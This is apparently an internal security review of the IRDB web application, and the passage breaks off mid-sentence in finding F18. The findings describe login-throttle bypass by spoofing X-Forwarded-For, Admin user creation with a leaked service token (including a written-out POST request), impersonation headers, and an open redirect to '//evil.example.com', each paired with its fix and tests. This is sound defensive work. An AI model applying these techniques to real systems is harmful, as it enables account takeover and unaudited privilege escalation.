# IRDB Security Review

> Scope: full source tree at `api/src`, `ui/src`, `api/docker`, `ui/docker`,
> `Dockerfile`s, `docker-compose.yml`, `compose.scheduler.yml`, `.env.example`,
> Twig templates and Caddy configuration. Vendored dependencies were not audited
> (no `composer audit` / `npm audit` was run for this review).
>
> Severity scale: **1** = low / informational, **2** = medium, **3** = high /
> critical. Severity reflects both impact and ease of exploitation in the
> documented deployment topology.
>
> Each finding is referenced as **F<N>** for later citation.
>
> **Findings rolled up:** 5 sev-3 (5 fixed, 0 open), 27 sev-2 (27 fixed, 0 open), 42 sev-1 (9 fixed, 33 open).

---

## Severity 3 — high / critical

### F1 — Login throttle bypass via spoofed `X-Forwarded-For`
- **Files:** `ui/src/Auth/LocalLoginController.php:117-130`,
  `ui/src/Auth/LoginThrottle.php:131-137`
- **Risk:** `extractSourceIp()` reads the first hop of `X-Forwarded-For`
  without verifying the immediate peer is a configured trusted proxy.
  The throttle bucket is `(lower(username), source_ip)`, so an attacker
  rotates the `X-Forwarded-For` value per request — every attempt is a
  fresh bucket and the 5/10/15-failure ladder never trips. Defeats the
  documented brute-force protection on the local-admin password.
  Argon2id slows it but does not prevent it. The UI is also reachable
  on `:8080` directly per `docker-compose.yml`.
- **Severity: 3**
- **Status:** Fixed in `466d686`. `extractSourceIp` no longer reads
  `X-Forwarded-For`; Caddy's `trusted_proxies static private_ranges`
  is the single trust boundary and PHP consumes only `REMOTE_ADDR`.
  Regression test in `ui/tests/Integration/Auth/LocalLoginTest.php`
  (`testRotatingXForwardedForDoesNotEvadePerIpLockout`).

### F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout
- **File:** `ui/src/Auth/LoginThrottle.php:131-137`
- **Risk:** The bucket key is `(username, source_ip)`. Even ignoring F1,
  there is no bucket that counts attempts against a *username* across
  IPs. An attacker on a distributed source (or a residential proxy
  pool) gets unlimited password attempts against the single
  `LOCAL_ADMIN_USERNAME` account because each new IP is a fresh bucket.
- **Severity: 3**
- **Status:** Fixed in `466d686`. `LoginThrottle` now evaluates a second
  per-username bucket alongside the per-(user, ip) one with a
  25 / 50 / 100 → 60 s / 300 s / 1800 s ladder; `isLocked()` trips on
  either bucket and `clear()` resets both on successful login.
  Regression tests in `ui/tests/Unit/Auth/LoginThrottleTest.php`
  (`testPerUsernameBucketLocksOutAcrossDistinctIps`,
  `testPerUsernameLadderProgresses`,
  `testLockoutSecondsRemainingReturnsLargerOfBuckets`) and
  `LocalLoginTest::testRotatingRemoteAddrEventuallyHitsPerUsernameLockout`.

### F3 — Service token + `upsertLocal` mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation
- **Files:** `api/src/App/AppFactory.php:156-169`,
  `api/src/Application/Auth/AuthController.php:56-77`,
  `api/src/Infrastructure/Auth/UserRepository.php:119-159`
- **Risk:** The `/api/v1/auth/*` route group attaches only
  `$tokenAuth` — no `RbacMiddleware`, no `$impersonation`, no
  `$auditContext`, no `$rateLimit`. The controller's only check is
  "kind == Service". `UserRepository::upsertLocal` *unconditionally*
  assigns `Role::Admin` regardless of input. Anyone holding the service
  token (in env, masked-prefix-visible in `/admin/config`, baked into
  the UI image) can `POST /api/v1/auth/users/upsert-local
  {"username":"x"}` to create a new Admin user id and then impersonate
  it via `X-Acting-User-Id` on every other admin endpoint. A leaked
  service token is a single-step total compromise with no log trail.
- **Severity: 3**
- **Status:** Fixed in `8a94dff`. `UserRepository::upsertLocal` now
  looks up the existing local row by `is_local = 1` (not by
  `display_name`) and updates `display_name` + `last_login_at` on it;
  it only inserts when zero local rows exist. Migration
  `20260504100000_add_unique_local_user_index` adds a partial unique
  index (`WHERE is_local = 1` on SQLite; functional index over a
  `CASE` expression on MySQL) so a regression in code still fails at
  the DB. Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testRotatingUsernamesNeverCreatesAdditionalLocalAdmins`,
  `testDbLayerRejectsSecondLocalAdminInsert`). The
  unaudited-write half of the finding (no `AuditEmitter` call on
  user creation / role grant) is tracked separately as F5.

### F4 — Audit emit is non-transactional with state mutation
- **Files:** `api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48`;
  controller pattern e.g. `api/src/Application/Admin/ManualBlocksController.php:138-157`,
  `ReportersController.php:103-116, 198-211`,
  `PoliciesController.php:135-140, 241-246, 278-283`,
  `AllowlistController.php:126-131`
- **Risk:** Every admin write performs the mutation first, then calls
  `audit->emit(...)` *outside* a transaction. `DbAuditEmitter::emit`
  catches `Throwable`, logs `audit_emit_failed`, and returns void. Any
  DB error, lock timeout, JSON encoding failure, or process kill
  between mutation and audit insert leaves the state changed with no
  audit row. An attacker with admin privileges who can intentionally
  fail the audit insert (e.g. abusing long `details_json` under MySQL
  strict mode, or racing audit-table maintenance) mutates state without
  being audited. Integrity of the audit log depends entirely on a
  best-effort second write.
- **Severity: 3**
- **Status:** Fixed in `8d948ae`. `AuditEmitter` now exposes two
  methods with explicit semantics: `emit()` (best-effort, swallows
  infra errors — used only by `ReportController` and
  `BlocklistController`, the high-volume public paths whose emit is
  toggleable per `app_settings`) and `emitOrThrow()` (strict, propagates).
  Every admin write site (`ManualBlocksController`, `AllowlistController`,
  `ReportersController`, `ConsumersController`, `CategoriesController`,
  `PoliciesController`, `TokensController`, `AppSettingsController`,
  `MaintenanceController.purge`/`seedDemo`, `JobsAdminController.trigger`,
  and `AuthController.upsertOidc`/`upsertLocal`) now wraps mutation +
  `emitOrThrow()` in `Connection::transactional()`, so any audit insert
  failure rolls back the originating mutation. Cache invalidations move
  to post-commit. `DbAuditEmitter` switches to `JSON_THROW_ON_ERROR`
  so payload encoding failures become typed exceptions instead of a
  silent `false`. Regression tests in
  `api/tests/Integration/Audit/AuditRollbackTest.php` drop the
  `audit_log` table to force every emit path to fail and assert the
  target tables (`manual_blocks`, `reporters`, `allowlist`,
  `categories`, `users`) see zero rows added.

### F5 — User creation and role assignment emit no audit
- **Files:** `api/src/Application/Auth/AuthController.php:29-77`
  (`upsertOidc`, `upsertLocal`)
- **Risk:** `/api/v1/auth/users/upsert-oidc` and `upsert-local` create or
  update users including assigning roles via OIDC group mapping or the
  local-admin bootstrap, and emit no `AuditEmitter` calls. Privilege
  grants and account creation — primary SOC/ISO 27001 events — are
  invisible in the audit log. Combined with F3, an attacker who
  compromises the service token can grant themselves Admin without
  trace.
- **Severity: 3**
- **Status:** Fixed in `8d948ae` alongside F4. `AuthController` now
  wraps each upsert in `Connection::transactional()` and emits
  `user.created` (new account, source `oidc` or `local`, with role and
  groups context) on the bootstrap path, plus `user.role_changed` when
  a subsequent OIDC login resolves to a different role. The auth route
  group now attaches `AuditContextMiddleware` so the rows carry source
  IP and request id. Regression tests in
  `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testFirstUpsertLocalEmitsUserCreatedAudit`,
  `testRotatingUsernamesEmitsOnlyOneUserCreatedAudit`,
  `testNewOidcLoginEmitsUserCreatedAudit`,
  `testOidcRoleDriftEmitsRoleChangedAudit`) and
  `AuditRollbackTest::testUpsertLocalRollsBackWhenAuditInsertFails`.

---

## Severity 2 — medium

### F6 — Throttle store is per-process in memory; lost on worker recycle
- **File:** `ui/src/Auth/LoginThrottle.php:38, 43-48, 92`
- **Risk:** Counters live only in the FrankenPHP worker process. Worker
  recycling on memory pressure or fixed request counts wipes counters
  and gives the attacker fresh attempts. Multi-worker FrankenPHP
  multiplies allowed attempts by N silently. No persistent (DB / Redis)
  backing.
- **Severity: 2**
- **Status:** Fixed in `d119b72`. State moved behind a `ThrottleStore`
  abstraction; production wires `FileThrottleStore`, a flock-protected
  JSON file under `sys_get_temp_dir()` (overridable via
  `LOGIN_THROTTLE_PATH`). All FrankenPHP workers in one container share
  the same file: counters survive worker recycle and a single counter
  is incremented across the worker pool. Mutations take an exclusive
  lock on a sibling `.lock` file and write through a temp file + rename,
  so readers always see a consistent snapshot. Stale entries
  (`lockedUntil + 24 h < now`) are GC'd opportunistically. The file
  lives on the container's ephemeral writable layer, so a container
  restart still clears it — preserving the documented operator-unlock
  path. Multi-replica deployments still require sticky-LB mode (SPEC's
  documented topology). Regression tests in
  `ui/tests/Unit/Auth/FileThrottleStoreTest.php`
  (`testFailureRecordedOnOneInstanceIsVisibleToAnother`,
  `testClearOnOneInstanceIsVisibleToAnother`,
  `testCorruptFileIsTreatedAsEmpty`,
  `testStaleEntriesGarbageCollected`,
  `testWritesGoThroughTempPlusRename`,
  `testResetUnlinksFile`) and
  `LocalLoginTest::testFailuresArePersistedToConfiguredFilePath`.

### F7 — Username enumeration via response timing on local login
- **File:** `ui/src/Auth/LocalLoginController.php:77-78`
- **Risk:** `password_verify` only runs after `usernameOk` evaluates
  truthy, so the request takes Argon2id time (tens to hundreds of ms)
  on a username match versus microseconds on a miss. An unauthenticated
  attacker enumerates the configured `LOCAL_ADMIN_USERNAME` value.
  Mitigation: always run a dummy `password_verify` against a fixed
  hash regardless of username match.
- **Severity: 2**
- **Status:** Fixed in `84238e6`. `LocalLoginController` now precomputes a
  dummy Argon2id hash once per worker in its constructor and routes
  `password_verify` to either the configured admin hash (when set) or the
  dummy hash (when unset). The verify result is ANDed with the username
  check and the "configured" check, so a username miss still fails closed
  but consumes Argon2id time. Also closes the related timing channel where
  an empty `LOCAL_ADMIN_PASSWORD_HASH` previously skipped `password_verify`
  entirely. Regression tests in
  `ui/tests/Integration/Auth/LocalLoginTest.php`
  (`testWrongUsernameTriggersPasswordVerify`,
  `testUnconfiguredLocalPasswordHashStillRunsPasswordVerify`) assert the
  failure path takes more than 10 ms — well above any path that would
  skip an Argon2id compare.

### F8 — `headers_sent()` short-circuit silently skips session regeneration / clear
- **Files:** `ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107`
- **Risk:** Both `regenerateId()` and `clear()` are gated on
  `!headers_sent()`. If headers are sent before middleware (warning
  output, accidental whitespace, error rendering), login does not
  rotate the session id. An attacker who pre-seeded a victim's
  `irdb_session` cookie can ride that session post-login (classic
  session fixation). Should fail-closed instead of silently
  no-op'ing.
- **Severity: 2**
- **Status:** Fixed in `f811b25`. `SessionManager` now distinguishes a
  CLI/test mode (auto-detected from `PHP_SAPI === 'cli'`, overridable
  via constructor) from HTTP mode. In HTTP, both `regenerateId()` and
  `clear()` throw `\RuntimeException` when `headers_sent()` is true,
  surfaced by Slim as a 500 so the operator chases the upstream output
  bug rather than silently leaving the pre-auth cookie valid. Under CLI
  (PHPUnit), a manual rotation path resets `session_id()` and preserves
  `$_SESSION`, matching `session_regenerate_id(true)` semantics for
  tests. The `headers_sent()` call is also routed through an injectable
  closure so unit tests can drive the HTTP fail-closed path without a
  real web server. Regression tests in
  `ui/tests/Unit/Auth/SessionManagerTest.php`
  (`testRegenerateIdThrowsInHttpModeWhenHeadersSent`,
  `testClearThrowsInHttpModeWhenHeadersSent`,
  `testCliFallbackRotatesIdAndPreservesSession`).

### F9 — OIDC session id not regenerated *before* the handshake starts
- **Files:** `ui/src/Auth/OidcController.php:39-47, 89`,
  `ui/src/Auth/JumbojettOidcAuthenticator.php:33-94`
- **Risk:** `state`, `nonce`, and `code_verifier` are stashed in
  `$_SESSION` during `/login/oidc`. Regeneration only happens after
  a successful `upsert` (line 89). If an attacker can fixate a session
  id in a victim's browser before `/login/oidc` is hit (hostile
  network, sibling subdomain, or the F8 race), the attacker shares the
  same `$_SESSION` and can later hijack the session. Standard
  hardening regenerates on `initiate()` *before* redirecting to the
  IdP.
- **Severity: 2**
- **Status:** Fixed in `2a57589`. `OidcController::initiate` now calls
  `SessionManager::regenerateId()` at the top, before delegating to the
  authenticator that stashes `state`, `nonce`, and the PKCE
  `code_verifier` in `$_SESSION`. The OIDC handshake state is therefore
  bound only to a freshly rotated session id; any pre-fixated cookie is
  invalidated at this moment. The post-callback rotation is unchanged
  (defeats anything carrying over). Per F8, the rotation now also
  fail-closes if response headers were already sent, so it cannot
  silently no-op. Regression test in
  `ui/tests/Integration/Auth/OidcFlowTest.php`
  (`testInitiateRotatesSessionIdBeforeAuthenticate`) captures
  `session_id()` inside a fake authenticator and asserts it differs
  from the pre-request id.

### F10 — Open redirect via attacker-controllable `next` parameter
- **Files:** `ui/src/Auth/SessionManager.php:139-150` (`setNext` /
  `consumeNext`), used by `ui/src/Auth/OidcController.php:98-100`,
  `ui/src/Auth/LocalLoginController.php:106-108`,
  `ui/src/Controllers/AllowlistController.php:126-128`,
  `ui/src/Controllers/ManualBlocksController.php:168-170`
- **Risk:** After a delete action, `next` from the form body is sent
  verbatim as `Location:` with no validation that the value starts with
  a single `/` (not `//evil.example.com`) and no scheme allowlist. An
  authenticated operator/admin tricked into submitting a forged form
  (or any reflected XSS that auto-submits with the legitimate CSRF
  token) gets a 303 redirect to an arbitrary host from the trusted
  IRDB origin — high-quality phishing pivot. The login-flow
  `consumeNext()` path is currently safe (`AuthRequiredMiddleware`
  controls the source), but `setNext()` itself is unrestricted.
- **Severity: 2**
- **Status:** Fixed in `55156c5`. `SessionManager::isSafeRedirectPath()`
  accepts only same-origin paths (must start with `/`; second char must
  not be `/` or `\`; no control chars including CR/LF/NUL).
  `SessionManager::safeNextOrDefault()` returns the candidate iff safe,
  else a hard-coded literal default. `setNext()` and `consumeNext()` also
  drop unsafe values silently as defence-in-depth so any future caller
  is safe even without the helper. `AllowlistController::delete` and
  `ManualBlocksController::delete` now route the `next` form field
  through `safeNextOrDefault`, so a malicious value falls back to the
  resource list rather than redirecting the operator to the attacker
  URL. Regression tests: `SessionManagerTest` data-provider truth table
  for `isSafeRedirectPath` plus `testSetNextDropsUnsafeValueSilently`,
  `testConsumeNextRejectsPreviouslyStoredUnsafeValue`,
  `testSafeNextOrDefaultUsesDefaultOnUnsafeOrMissing`; integration
  tests in `CrudPagesTest`
  (`testManualBlockDeleteRejectsOpenRedirectInNext`,
  `testManualBlockDeleteHonoursSafeNext`,
  `testAllowlistDeleteRejectsOpenRedirectInNext`).

### F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate
- **Files:** `api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77`,
  `api/src/Infrastructure/Auth/UserRepository.php:28-37`
- **Risk:** Service-token holders can impersonate any user id by
  setting `X-Acting-User-Id`. There is no allow-list, no
  "disabled"/"locked" check (no such column on `users`), and no
  separate audit signal. Combined with F3, a leaked service token is
  unconstrained Admin.
- **Severity: 2**
- **Status:** Fixed. Three layers:
  1. **Active-status gate.** Migration
     `20260504110000_add_disabled_at_to_users` adds nullable
     `disabled_at` to `users`; `User::isDisabled()` exposes the
     predicate; `ImpersonationMiddleware` returns `403 user_disabled`
     for any disabled target (mirroring the unknown-user 403 so
     attackers cannot use the response to distinguish "missing" from
     "disabled"). `AuthController::upsertOidc` and `upsertLocal`
     short-circuit with 403 before recomputing role on a disabled row,
     so a disabled user cannot drift their role via OIDC group
     membership while disabled.
  2. **Distinct audit signal.** Migration
     `20260504110001_add_actor_via_to_audit_log` adds `actor_via`
     (`oidc|local|admin-token|service|reporter|consumer|system`).
     `ImpersonationMiddleware` threads the resolved user's
     `is_local` flag onto `AuthenticatedPrincipal`, and
     `AuditContextMiddleware` derives `actor_via` from it — so
     audit rows split impersonated-OIDC from impersonated-local
     without joining `users`. `/admin/audit-log?actor_via=local`
     surfaces only local-admin actions for review.
  3. **Admin user-CRUD.** New `UsersController` exposes
     `GET /api/v1/admin/users`, `GET /{id}`, and
     `PATCH /{id}` (body `{disabled: bool}`). PATCH wraps the
     state change + `user.disabled` / `user.enabled` audit emit in
     `Connection::transactional()` per F4. Refused with 409 on
     self-disable (`cannot_disable_self`) or on disabling the
     local-admin row (`cannot_disable_local_admin`) — the local
     admin is the documented break-glass path; operators wanting
     to lock it disable it via `LOCAL_ADMIN_PASSWORD_HASH` in the
     UI's env. UI page at `/app/users` (admin-only sidebar entry).
     OIDC and local-login controllers route the upstream
     `403 user_disabled` to `/no-access` (OIDC) or to a generic
     "invalid credentials" flash (local — probe-resistant).
  Regression tests: `api/tests/Integration/Auth/DisabledUserTest.php`
  covers (a) impersonation 403 on disabled rows,
  (b) `upsertOidc` rejection without role recompute or audit drift,
  (c) `upsertLocal` rejection on disabled local admin,
  (d) `actor_via` derivation for impersonated local vs OIDC
  vs admin-token paths,
  (e) admin disable + audit emit + idempotency,
  (f) self-disable / local-admin-disable 409 guards,
  (g) `/audit-log?actor_via=local` filter.
  The remaining "allow-list" framing of F11 is by-design per SPEC §8:
  any user the UI BFF has upserted is impersonatable. The disabled
  flag is the operator's lever to revoke that consent.

### F12 — Local-admin lookup matches on `display_name` without uniqueness guarantee
- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160`
- **Risk:** `findLocalByUsername()` matches on `display_name` AND
  `is_local=1`, with no DB-enforced uniqueness on the pair.
  `LIMIT 1` silently picks one row. A hostile/compromised IdP that
  pushes an OIDC user with the same `display_name` (and a later data
  fix flipping `is_local`) could be matched on local-admin login,
  binding the local-admin password to the wrong identity.
- **Severity: 2**
- **Status:** Fixed in `4006743`. The display-name match was already
  removed by the F3 fix (`8a94dff`) — `findLocal()` looks up by
  `is_local = 1` and the partial unique index `uniq_users_one_local`
  enforces "at most one local row" at the DB. F12's residual concern
  (a row reaching the state `is_local=1 AND subject IS NOT NULL` via
  direct DB tampering) is now addressed in two layers:
  1. **Application:** `UserRepository::findLocal()` adds
     `AND subject IS NULL` to the query. A row with `is_local=1` but a
     non-null OIDC subject is structurally not a local-admin row and
     will not bind the local-admin password — `upsertLocal` then
     trips the unique-index INSERT, surfacing the tamper as a 500.
  2. **DB:** Migration
     `20260505100000_add_users_local_subject_invariant` enforces the
     same predicate at the storage layer — MySQL via a `CHECK
     (NOT (is_local = 1 AND subject IS NOT NULL))` constraint, SQLite
     via paired `BEFORE INSERT` / `BEFORE UPDATE` triggers that
     `RAISE(ABORT)` on the violating predicate. So a "data fix"
     script attempting `UPDATE users SET is_local = 1 WHERE id = …`
     against an OIDC row fails at the DB before any login can bind.
  Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testDbLayerRejectsInsertingLocalRowWithNonNullSubject`,
  `testDbLayerRejectsFlippingIsLocalOnOidcRow`,
  `testFindLocalIgnoresHijackedRowEvenIfDbConstraintIsBypassed`).

### F13 — Service token rotation leaves the old hash valid indefinitely
- **File:** `api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89`
- **Risk:** When the bootstrap detects a different service-kind row
  (rotation in progress), it inserts the new row but does not revoke
  the old. Both tokens remain valid. With no operator tooling for
  service-token revocation, rotated tokens may live forever in
  `api_tokens`. If an old token leaks (config snapshot, image layer)
  the attacker authenticates indefinitely.
- **Severity: 2**
- **Status:** Fixed in `40be6c1`. `ServiceTokenBootstrap` now wraps
  revoke-old + insert-new in `Connection::transactional()` (per F4): when the
  configured `UI_SERVICE_TOKEN` does not match any current row but
  one or more service-kind rows are currently active, every active
  service-kind row is `revoked_at = now()`'d before the new row is
  inserted. The revokes and the create roll back together if any
  step fails — there is never an observable window with no service
  token. New repository method
  `TokenRepository::findActiveServiceTokens()` enumerates the rows
  to revoke. The bootstrap also refuses to silently re-enable a
  hash that is already present-but-revoked (operator must issue a
  fresh value rather than rolling env back). Each revoke emits a
  `token.revoked` audit row with
  `details_json.reason = "rotated_by_bootstrap"` and the create
  emits a `token.created` row carrying `source: "bootstrap"` and a
  `rotated_from` array of revoked prefixes — so SOC tooling can
  attribute the rotation and split automatic from operator-initiated
  revocations. Both audit rows are attributed to `actor_kind=system`
  via `AuditContext::system()`. Regression tests in
  `api/tests/Integration/Auth/ServiceTokenBootstrapTest.php`
  (`testBootstrapWithDifferentTokenRevokesPreviousAndInsertsNewRow`,
  `testBootstrapRotationRevokesEveryPreviouslyActiveServiceToken`,
  `testBootstrapRotationEmitsRevokedAndCreatedAuditRows`,
  `testBootstrapRefusesToReEnablePreviouslyRevokedToken`).

### F14 — `/api/v1/auth/*` has no rate limit
- **File:** `api/src/App/AppFactory.php:156-169`
- **Risk:** The auth group has only `$tokenAuth`. `RateLimitMiddleware`
  is not attached. `getUser/{id}` allows enumeration (F17), and
  combined with F3 a leaked service token gets unlimited writes.
- **Severity: 2**
- **Status:** Fixed in `9849779`. The `/api/v1/auth/*` route group now
  attaches `RateLimitMiddleware` alongside `TokenAuthenticationMiddleware` and
  `AuditContextMiddleware`. Per-token-id token-bucket — same limiter
  the public group uses — caps a burst at `API_RATE_LIMIT_PER_SECOND
  × 2` (default 60/s, capacity 120) per service token. The bucket
  bails out gracefully when no principal is present (auth failure)
  so it doesn't stack with `TokenAuthenticationMiddleware`'s 401
  path. Caps the enumeration speed of `GET /users/{id}` (a residual
  exposure tracked by F17), and bounds amplification of any
  service-token-leak abuse against `upsert-local` / `upsert-oidc`.
  Regression tests in
  `api/tests/Integration/Public/RateLimitTest.php`
  (`testAuthGetUserRouteIsRateLimited`,
  `testAuthUpsertLocalRouteIsRateLimited`) burst the auth endpoints
  past capacity under a tight FixedClock+limiter and assert the
  expected 429 ceiling.

### F15 — `MaintenanceController::seedDemo` requires no confirmation token
- **File:** `api/src/Application/Admin/MaintenanceController.php:279-288`
- **Risk:** Asymmetric with `purge` which gates on `confirm: "PURGE"`.
  Any actor with admin role (or a compromised service token via F3)
  can issue a single POST and load thousands of synthetic
  reports/IPs/blocks into a production database. The 409
  "already_seeded" check is keyed only on a literal demo-named
  reporter, so after a partial purge the seed will re-fire. Also a
  cheap repeated-write DoS.
- **Severity: 2**
- **Status:** Fixed in `5c15fc5`. `MaintenanceController::seedDemo`
  now requires `confirm: "SEED"` in the request body and returns
  `400 validation_failed` otherwise — symmetric with `purge`'s
  `"PURGE"` gate. The check runs before the 409 already-seeded
  shortcut and before any DB write, so a drive-by POST or repeated
  cost-imposition burst is rejected without touching `reporters`.
  The OpenAPI spec (`api/public/openapi.yaml` and `api/openapi.php`)
  documents the new request body and the 400 response. The UI BFF
  is updated end-to-end: `AdminClient::seedDemo` sends
  `confirm: "SEED"` (`ui/src/ApiClient/AdminClient.php`),
  `SettingsController::seedDemo` requires the user to type `SEED`
  in the form and surfaces a flash error otherwise
  (`ui/src/Controllers/SettingsController.php`), and the seed-demo
  modal mirrors the purge modal's typed-confirm UX in
  `ui/resources/views/pages/settings/index.twig`. Regression test
  `testSeedDemoRequiresLiteralConfirmString` in
  `api/tests/Integration/Admin/MaintenanceControllerTest.php`
  asserts both no-body and wrong-literal POSTs return 400 and that
  no `reporters`/`reports` rows landed; the existing
  `testSeedDemoPopulatesDataAndIsIdempotent` /
  `testSeedDemoForbiddenForViewer` cases were updated to send the
  new body.

### F16 — Admin-role API tokens are not bound to a `user_id` → privilege persists after offboarding
- **Files:** `api/src/Application/Admin/TokensController.php:142-155, 166-177`,
  `api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67`,
  `api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59`
- **Risk:** When an Admin user creates an admin-kind token, the
  `TokenRecord` carries `role` but no `userId`. If the user issuing
  the token is later demoted/disabled/removed, the token continues
  to grant Admin until manually revoked. There is no UI/API to list
  tokens by issuer.
- **Severity: 2**
- **Status:** Fixed in `947ab89`. Three layers close the gap:

  1. **Schema.** Migration
     `20260505110000_add_user_id_to_api_tokens` adds nullable
     `api_tokens.user_id`. On MySQL it carries an FK to `users(id)`
     with `ON DELETE CASCADE` — a hard-deleted user takes the tokens
     they issued with them. SET NULL was rejected because reverting
     to a NULL `user_id` would let the token re-enter the
     grandfathered legacy path. SQLite cannot add an FK via ALTER
     TABLE, so deletion-time enforcement on that driver falls back
     to the application layer (issuer-row lookup returns null →
     401). The system has no API-level user-deletion path; both
     drivers behave identically for the actual offboarding flows
     (disable + role demote).
  2. **Binding.** `TokensController::create` writes the acting
     user's id into the new column for `kind=admin` tokens only.
     Reporter / consumer / service tokens stay user-less — they are
     device credentials, not delegated user privilege.
     `TokenRecord` carries the new `userId` field; the create
     response and list response surface `user_id`, the list also
     denormalises a `user_label` (display name, email, or `user#N`).
     Admin tokens minted via `bin/console tokens:create` carry NULL
     and are grandfathered — operators rotate those after deploy if
     they want strict binding.
  3. **Enforcement.** `TokenAuthenticationMiddleware` injects
     `UserRepository`; for any admin-kind token with non-null
     `user_id` it loads the issuer and refuses the token (401, same
     shape as every other auth failure) if the issuer row is
     missing, has `disabled_at` set, or has a current role that
     doesn't satisfy the token's bound role
     (`role.satisfies(token.role)`). NULL `user_id` skips the
     check, preserving the grandfathered path. ImpersonationMiddleware
     still validates the impersonated user separately (F11), so a
     service token that claims to be a disabled user is still 403'd
     before the role check fires.

  UI: `/app/tokens` adds an Issuer column showing `user_label` (or
  `user#N` for deleted issuers, or `—` for legacy / console-issued
  tokens). OpenAPI yaml + `openapi.php` document the new fields.

  Regression tests in
  `api/tests/Integration/Auth/TokenIssuerBindingTest.php`:
  `testAdminTokenCreatedViaApiIsBoundToActingAdmin` (binding +
  audit row attribution),
  `testReporterTokenCreatedViaApiIsNotBoundToUser` (admin-only
  binding), `testListSurfacesIssuerLabel` (denormalised label),
  `testBoundAdminTokenAuthenticatesWhileIssuerActive` (happy path),
  `testBoundAdminTokenIsRejectedAfterIssuerDisabled` (F11
  intersect),
  `testBoundAdminTokenIsRejectedAfterIssuerDemotedBelowTokenRole`
  (Admin-token-after-Viewer-demote → 401),
  `testBoundAdminTokenStillAuthenticatesIfIssuerHasMatchingRole`
  (Viewer token held by Admin issuer still works),
  `testBoundAdminTokenIsRejectedIfIssuerRowIsGone` (deletion
  fallback on SQLite),
  `testLegacyUnboundAdminTokenStillAuthenticates` (grandfathering).

### F17 — `GET /api/v1/auth/users/{id}` enables enumeration of internal user records
- **File:** `api/src/Application/Auth/AuthController.php:79-104`
- **Risk:** A service-token holder can iterate `/users/1`,
  `/users/2`, ... and exfiltrate every user's `email`, `display_name`,
  `role`, `is_local`. No rate limit (F14), no audit (F5), no
  defensive sleep.
- **Severity: 2**
- **Status:** Fixed by F14 (rate limit) and read-side audit added in
  `57ab1ba`.

  1. **Rate limit.** F14 already attaches `RateLimitMiddleware` to
     the `/api/v1/auth/*` route group, so a leaked service token is
     capped at `API_RATE_LIMIT_PER_SECOND × 2` (default 60/s,
     capacity 120) per token id — both `getUser/{id}` enumeration and
     `upsert-{oidc,local}` abuse are bucketed on the same limiter.

  2. **Read-side audit.** New `AuditAction::USER_FETCHED` constant
     (`user.fetched`). `AuthController::getUser` now emits a
     best-effort audit row on **both** the 200 (`outcome: found`,
     `target_label = email|display_name`) and 404
     (`outcome: not_found`, `target_label = null`) paths. The 400
     malformed-id path stays silent — that's a protocol error, not a
     valid-shape probe. `emit()` (best-effort) is used so a DB hiccup
     on the audit insert does not 500 a UI session refresh; volume is
     bounded by the F14 rate limit anyway. This is the only read
     action recorded in `audit_log` — every other action recorded
     there is state-changing per SPEC §4. The exception is documented
     inline at the constant.

  3. **No defensive sleep.** Skipped intentionally. The 200/404 bodies
     differ structurally (`{"user_id": ...}` vs
     `{"error":"not_found"}`), so existence is trivially detectable
     from the response — timing is not the leak vector here. Adding
     `usleep` would only impose latency on legitimate UI session
     refreshes without strengthening the actual mitigation surface.

  Regression tests in
  `api/tests/Integration/Auth/AuthEndpointsTest.php`:
  `testGetUserFoundEmitsUserFetchedAudit` (200 path emits row with
  `outcome=found` and email label),
  `testGetUserNotFoundEmitsUserFetchedAudit` (404 path emits row with
  `outcome=not_found` and null label),
  `testGetUserInvalidIdDoesNotEmitAudit` (malformed id stays silent),
  `testEnumerationProducesOneAuditRowPerProbe` (a 5-id sweep produces
  exactly 5 `user.fetched` rows — the SOC detection signal).
  OpenAPI yaml + `openapi.php` document the audit emission and the
  404 response.

### F18 — Containers run as root (no `USER` directive)
- **Files:** `api/Dockerfile:42-43`, `ui/Dockerfile:46-47`
- **Risk:** Neither Dockerfile sets a `USER`. PHP/FrankenPHP/Caddy run
  as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy
  CVE gets root inside the container. No `--chown` on `COPY`. The
  `irdb-data:/data` volume is owned by root.
- **Severity: 2**
- **Status:** Fixed in `33179d8`. Both `api/Dockerfile` and
  `ui/Dockerfile` now create an `app` system user (UID/GID 1000) and
  switch to it via `USER app` after the last root-required step
  (`apk`, `install-php-extensions`, `chmod +x`, `mkdir`/`chown`).
  FrankenPHP/Caddy bind to unprivileged ports (8080/8081) — no
  `setcap` is needed.

  Layout choices:
  - `/app` stays **root-owned and world-readable**. The runtime needs
    only read access; leaving source root-owned is a partial mitigation
    for F20 (an attacker landing RCE under `app` cannot overwrite
    `/app/vendor/**` or `/app/public/index.php` to persist). Tightening
    the read-only stance further (e.g. mounting `/app` read-only at
    runtime) is tracked separately by F20.
  - `/data` is **app-owned** so phinx migrations, the
    `auth:bootstrap-service-token` console call, and runtime SQLite
    writes succeed without root. Newly-created Docker named volumes
    (`irdb-data`) inherit this ownership on first creation.
  - `/home/app/.config` and `/home/app/.local/share` are pre-created
    and app-owned; `XDG_CONFIG_HOME` / `XDG_DATA_HOME` point at them
    so Caddy's autosaved-config and TLS-cache state has somewhere to
    land without falling back to `/root`.
  - PHP sessions in the UI continue to use the default `/tmp` save
    path (world-writable), so no extra mount is required.

  **Upgrade note for operators.** Existing volumes from pre-F18
  deployments were created when `/data` was root-owned; after pulling
  this image the new uid=1000 process cannot write to them and phinx
  fails with `attempt to write a readonly database`. Recover with
  either of:
  ```
  # one-shot chown (preserves data)
  docker run --rm -u 0 -v irdb_irdb-data:/data alpine chown -R 1000:1000 /data
  # or, if the SQLite data is disposable
  docker compose down -v && docker compose up -d
  ```
  Documented in the upgrade section of the deployment notes.

  Verification: rebuilt both images and confirmed
  `docker compose exec api id` / `exec ui id` report `uid=1000(app)`,
  the api healthz returns 200, all 429 integration tests still pass
  under the new user, and the UI Caddy log shows
